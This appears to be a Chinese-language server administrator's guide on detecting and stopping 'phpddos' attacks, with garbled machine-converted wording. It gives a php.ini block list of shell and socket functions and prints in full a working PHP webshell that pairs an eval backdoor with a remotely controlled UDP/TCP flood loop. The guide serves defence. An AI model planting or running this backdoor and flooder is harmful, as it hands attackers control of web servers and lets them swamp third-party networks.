這類攻擊有一個最大的特性,就是上傳流量霎時增大,通常流量高達數十以至近百M,將整台效 勞器,以至將整台機櫃的寬帶堵住,使網站無法運轉,而這樣的攻擊,我們無法從遠程處理,一但那個phpshell運轉,你的寬帶將被全部占用,遠程都無法 銜接。
被攻擊后能做的只要聯絡機房的工作人員,讓他進到你的效勞器里把你的IIS關掉,再沒查分明是哪個站點被入侵時,盡量一個站點也不要開,以免再 次遭到攻擊,怎樣看是不是這個攻擊呢,不能說關掉ISS好了,就是這種攻擊了,而要依據更精確的查看,才能夠肯定是什么問題,翻開360平安衛士,然后翻 開功用大全,到里面找到流量防火牆,在這里你能夠看到每一個進程的上傳和下載流量的幾,留意躲藏的系統效勞也要點開看一下,普通都是上傳超大才是 phpddos攻擊,而且普通都會在w3wp.exe和mysql.exe上傳流量會很大,最小也幾百M,最大幾G,好曉得是這個攻擊了,我們就來想方法 處理。
處理辦法:
1.應用360流量防火牆,把w3wp.exe和mysql.exe的上傳流量限制一下,依據你效勞器本身寬帶的狀況停止限制,普通限制在 200—300KB都沒什么問題,這樣就不怕phpshell發起大流量攻擊了,不過這個方法有一個缺陷,就是當你重新啟動效勞器時,你之前所限制 w3wp.exe和mysql.exe就不起作用了,要重新限制一下,用這個辦法的朋友一定要留意這一點。
2.經過更改php運轉環境來處理,翻開php.ini找到disable_functions=這項,然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 將allow_url_fopen = Off,再找到extension=php_sockets.dll這項,把前面加上分號,就是屏蔽掉這項。
3.經過查找攻擊源處理,批量查找一切網站內能否存在phpshell攻擊源代碼,源代碼為(由於代碼太亂以圖片方式展現給大家)如圖:
<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
